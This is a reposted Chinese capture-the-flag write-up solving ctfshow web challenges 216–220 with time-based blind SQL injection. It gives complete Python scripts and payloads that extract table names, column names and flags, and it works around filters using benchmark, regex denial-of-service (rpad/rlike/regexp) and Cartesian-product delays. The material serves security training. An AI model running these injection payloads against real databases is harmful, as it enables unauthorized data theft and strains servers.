ToB企服应用市场:ToB评测及商务社交产业平台

标题: ctfshow-web入门-sql注入(web216-web220)时间盲注结束 [打印本页]

作者: 丝    时间: 2024-9-7 22:20
标题: ctfshow-web入门-sql注入(web216-web220)时间盲注结束
目录

1、web216
2、web217
3、web218
4、web219
5、web220


1、web216


最开始还以为是需要举行 base64 的相关处理,实在不必,直接闭合掉前面的括号即可,因为这里是字符串的拼接,将我们的 payload 更换掉那个 $id 。
在上一题的脚本上稍作修改:
  1. # @author:Myon
  2. # @time:20240813
  3. import requests
  4. import string
  5. url = 'http://d695fa2a-e7ee-408f-a3df-407b8d98b14e.challenge.ctf.show/api/index.php'
  6. dic = string.digits + string.ascii_lowercase + '{}-_'
  7. out = ''
  8. for j in range(1, 50):
  9.     for k in dic:
  10.         # payload = {'debug':'1','ip':f"0)or if(substr(database(),{j},1)='{k}',sleep(3),0)#"}  # 猜数据库名
  11.         # payload = {'debug': '1', 'ip': f"0)or if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜表名
  12.         # payload = {'debug': '1','ip': f"0)or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜表名
  13.         # payload = {'debug': '1','ip': f"0)or if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcc'), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜列名
  14.         payload = {'debug': '1', 'ip': f"0)or if(substr((select flagaac from ctfshow_flagxcc), {j}, 1) = '{k}',sleep(3),0)#"}  # 跑flag
  15.         re = requests.post(url, data=payload)
  16.         if re.elapsed.total_seconds() > 2:
  17.             out += k
  18.             break
  19.     print(out)
复制代码
我们知道数据库名应该还是 ctfshow_web,那就直接跑列名吧:
  1. payload = {'debug': '1', 'ip': f"0)or if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)#"}
复制代码

表名为:ctfshow_flagxcc
查列名:
  1. payload = {'debug': '1','ip': f"0)or if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcc'), {j}, 1) = '{k}',sleep(3),0)#"}
复制代码

查一下这个 flagaac:
  1. payload = {'debug': '1', 'ip': f"0)or if(substr((select flagaac from ctfshow_flagxcc), {j}, 1) = '{k}',sleep(3),0)#"}
复制代码

拿到 flag:ctfshow{fc21aa5c-96ca-462a-ab81-954c58a38d55}

2、web217


淦,sleep 给过滤掉了,接纳 benchmark 函数代替(之前面试就遇到过,时间盲注里 sleep 函数被过滤了怎么办,当时没答上来哈哈哈)
该函数是 MySQL 的一个内置函数,用于测试函数或表达式的实行速度,用法:
benchmark(count,expr),重复实行 count 次 expr 表达式,使得处理时间很长。
比如:
  1. benchmark(10000000,md5('myon'))
复制代码
将会实行 md5('myon') 10000000 次进而产生延时,可以测一下看看:
  1. debug=1&ip=benchmark(10000000,md5('myon'))
复制代码

大概实行了 10 秒钟

太久了,我们找一个合适点的次数:
  1. debug=1&ip=benchmark(3000000,md5('myon'))
复制代码
这个大概三秒钟,和我们前面设置的 sleep(3) 差不多 

用 benchmark(3000000,md5('myon')) 更换脚本里的 sleep(3)。
我们也直接从表名开始吧,留意结尾不要接解释符,因为你前面没有闭合单引号,后面如果给解释掉,闭合是有题目的,无法产生延时。
  1. payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}
复制代码

拿到表名为 ctfshow_flagxccb,继续查列名:
  1. payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}
复制代码

查 flagaabc:
  1. payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxccb), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}
复制代码

拿到 flag:ctfshow{65c24007-f50d-40a0-adde-4d67771a2e79}
完整脚本:
  1. # @author:Myon
  2. # @time:20240813
  3. import requests
  4. import string
  5. url = 'http://6f8c19e2-81c7-4dbc-990c-aa3e3666e54f.challenge.ctf.show/api/index.php'
  6. dic = string.digits + string.ascii_lowercase + '{}-_'
  7. out = ''
  8. for j in range(1, 50):
  9.     for k in dic:
  10.         # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',benchmark(3000000,md5('myon')),0)"}  # 猜数据库名
  11.         # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜表名
  12.         # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜表名
  13.         # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜列名
  14.         payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxccb), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 跑flag
  15.         re = requests.post(url, data=payload)
  16.         if re.elapsed.total_seconds() > 2:
  17.             out += k
  18.             break
  19.     print(out)
复制代码

3、web218


sleep 和 benchmark 都被过滤了,接纳其他方法。
正则 DOS RLIKE注入:
使用 SQL 多次计算正则消耗计算资源产生延时结果,与 benchmark 原理雷同,通过 rpad 或 repeat 构造长字符串,以计算量大的 pattern。
  1. debug=1&ip=if(substr(database(),1,1)='c',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0)
复制代码
这个大概有 3 秒的延时 

我们也可以用 repeat 来简化一下,但是这个参数不太好调,并不是说越大耗时就越长
  1. debug=1&ip=repeat(rpad('a', 999999, 'a'),16) rlike concat(repeat('(a.*)+',14), 'b')
复制代码
 这个大概有两秒以上的延长吧

函数说明:
rlike 是 SQL 中用于实行正则表达式匹配的函数。
rpad(str,len,padstr) 用字符串 padstr 对 str 举行右边弥补直到长度达到 len,返回 str 。
repeat(str,times) 就是复制 str 字符串 times 次。
concat 我们前面说过了,就是用来做拼接的。
为了结果准确些,我们还使用延时长一点的 3s 吧:
rlike 也可以用 regexp 代替
  1. delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike concat(repeat('(a.*)+',6),'b')"
复制代码
前面的脚本是用 if 语句举行判断,这里写一下 try 语句,不用获取响应消耗的时间,而是我们手动设置一个哀求超时的时间,因为前面的延时大概是 3s ,这里超时时间设小一点,为 1.5s。
我们还是直接跑表名:
  1. payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"}
复制代码

得到表名是 ctfshow_flagxc
接下来跑列名:
  1. payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',{delay},0)"}
复制代码

看着有点题目,我们将超时时间再改小一点:
  1. re = requests.post(url, data=payload,timeout=1)
复制代码

这次没题目,拿到列名 flagaac
查字段信息:
  1. payload = {'debug': '1', 'ip': f"if(substr((select flagaac from ctfshow_flagxc), {j}, 1) = '{k}',{delay}"}
复制代码
跑着跑着又出题目,我还是改回了 0.5s 的超时
  1. re = requests.post(url, data=payload,timeout=0.5)
复制代码
这样搞实在对服务器也有肯定影响,我们可以在猜到一个字符后就延时一会儿再继续猜,肯定程度上可以提高准确率。

这次跑出来是:ctfshow{b8414820p-83dk2-458c-8f75-4d6sf4202a08c4d}
交了一下,果然不对,有题目。
后面我才发现,它这个延时没有之前的 3s 了,只有 1s 多点。

可能我们测试久了影响到了环境,那就将延时设置为 0.8 吧。
末了试了下,还是用获取总的耗时判断更为准确些:

正确 flag:ctfshow{b8414820-83d2-458c-8f75-4d6f420a8c4d}
我以为是设置超时容易误判,但是又试了一下设置超时的方法,在开始循环遍历前以及猜出正确字符后都举行延时,超时时间为 0.8s:

跑出结果一样,那就说明是那个判断时间的题目,因为一开始在 hackbar 测试,那个 payload 大概是 3s,结果后面变成了只有 1s 左右,因此 1s 和 0.5s 都可能会导致结果不准确,这里主要还是设置好一个判定时间,改成 0.8s 就比较准确了,详细多少取决于你实际题目环境。
完整脚本:
  1. # @author:Myon# @time:20240814import requestsimport stringfrom time import *url = 'http://5729e629-2a49-4f06-a7a4-c9a247648427.challenge.ctf.show/api/index.php'dic = string.digits + string.ascii_lowercase + '{}-_'out = ''delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike concat(repeat('(a.*)+',6),'b')"
  2. for j in range(1, 50):    for k in dic:        sleep(0.2)  # 遍历每个字符前延时0.2s        # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',{delay},0)"}  # 猜数据库名        # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"}  # 猜表名
  3.         # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',{delay},0)"}  # 猜表名        # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',{delay},0)"}
  4.   # 猜列名        payload = {'debug': '1', 'ip': f"if(substr((select flagaac from ctfshow_flagxc), {j}, 1) = '{k}',{delay},0)"}  # 跑flag        try:            re = requests.post(url, data=payload,timeout=0.8)        except:            out += k            break    print(out)    sleep(1)  # 猜对一个字符延时1s        #     re = requests.post(url, data=payload)    #     if re.elapsed.total_seconds() > 0.8:    #         out += k    #         break    # print(out)
复制代码
除了 rlike&regexp注入,这道题还可以接纳笛卡尔积注入,我们放在下一题说。

4、web219


这里把 rlike 过滤了,可以用 regexp 代替:
  1. delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) regexp concat(repeat('(a.*)+',6),'b')"
复制代码

我们只证实可行,这里以跑列名为例:
  1. payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"}  # 猜表名
复制代码
说实话,我是真以为 elapsed.total_seconds() 比 timeout 准确许多,因为刚才用哀求超时的方法跑出来又有误差。

拿到表名:ctfshow_flagxca
后面我们使用笛卡尔积注入来实现:
让 Mysql 举行笛卡尔算积使其造成大负荷查询达到延时的结果
   笛卡尔积(因为连接表是一个很耗时的操作)
  AxB=A和B中每个元素的组合所组成的聚集,就是连接表
  在 mysql 下有一个很大的数据库 information_schema ,包罗了全部的数据库和表信息。
  1. SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
复制代码
可以按照这个规律,从 C 后面加个逗号,写 D,E 等等,想写多少就写多少,但是写的越多查询的速度就会越慢,如果在表大概列数量很少的环境下,可以写的多一点。
使用
  1. (select count(*) from information_schema.columns A, information_schema.columns B)
复制代码
代替 sleep 函数
查列名:
  1. payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名
复制代码
边测试边调解判定时间,我这里末了测出来是 0.4s 比较合适
  1. if re.elapsed.total_seconds() > 0.4:
复制代码

拿到列名:flagaabc
末了查字段信息:
  1. payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxca), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 跑flag
复制代码

拿到 flag:ctfshow{6ff5e1c5-00b2-4177-a9ab-483645d05dfc}
完整脚本:
  1. # @author:Myon# @time:20240814import requestsimport stringurl = 'http://4b0eb2f3-4461-4df7-b139-e9ef2a0ef978.challenge.ctf.show/api/index.php'dic = string.digits + string.ascii_lowercase + '{}-_'out = ''for j in range(1, 50):    for k in dic:        # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜数据库名        # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名        # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名        # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名
  2.         payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxca), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 跑flag
  3.         re = requests.post(url, data=payload)        if re.elapsed.total_seconds() > 0.4:            out += k            break    print(out)
复制代码

5、web220


过滤掉了 sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr
我们这里是直接判断的字符,因此没有使用到 ascii ,就算是基于 ASCII 码值判断的,ascii 被过滤了,也可以用ord 替换;
rlike 被过滤,如果用正则的注入则可以接纳 regexp 代替;
mid、substr 被过滤,可以接纳 right、left、rpad、lpad 等,这个方法在前面布尔盲注我们已经介绍过了,这里还可以接纳 like,延时我们还是使用笛卡尔积。
这个 like 的用法实在我们前面也介绍过,结合 % 举行通配,另有印象吗?
没印象的可以再去看看前面的布尔盲注。
我们先猜表名:
  1. payload = {'debug': '1', 'ip': f"if((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1) like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}
复制代码
有题目 

看了一下,这个笛卡尔积在我这道题目环境测出来大概是 1s 左右的延时,因此我们需要调大判断的时间,否则就容易出误判:

调成了 0.8s 再跑一次:
  1. if re.elapsed.total_seconds() > 0.8:
复制代码
这次就很 nice 了 

拿到表名 ctfshow_flagxcac,我们继续跑列名:
留意,这里过滤了 concat ,因此我们的 group_concat 也无法使用,接纳 limit 。
  1. payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 0, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}
复制代码

第一行是 id,我们看下其他行的结果,调解 limit 的参数看第二行的结果:
  1. limit 1, 1
复制代码
  1. payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}
复制代码

字段名为 flagaabcc
查该字段的详细信息:
  1. payload = {'debug': '1', 'ip': f"if((select flagaabcc from ctfshow_flagxcac) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}
复制代码
我这里跑了三次,前两次都有点题目,可以在代码中加上肯定延时以提高准确率。

拿到 flag:ctfshow{f1f9ef13-cd3a-4f56-b05a-297fe580efa8}
附上完整脚本:
  1. # @author:Myon# @time:20240814import requestsimport stringurl = 'http://57957d8f-f6a5-4769-a1b7-c87499c0995e.challenge.ctf.show/api/index.php'dic = string.digits + string.ascii_lowercase + '{}-_'out = ''for j in range(1, 50):    for k in dic:        # payload = {'debug':'1','ip':f"if(database() like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜数据库名        # payload = {'debug': '1', 'ip': f"if((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1) like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名        # payload = {'debug': '1','ip': f"if((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名        # payload = {'debug': '1','ip': f"if((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名        # payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名        payload = {'debug': '1', 'ip': f"if((select flagaabcc from ctfshow_flagxcac) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}
  2.   # 跑flag        re = requests.post(url, data=payload)        if re.elapsed.total_seconds() > 0.8:            out += k            break    print(out)
复制代码
至此,时间盲注结束。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4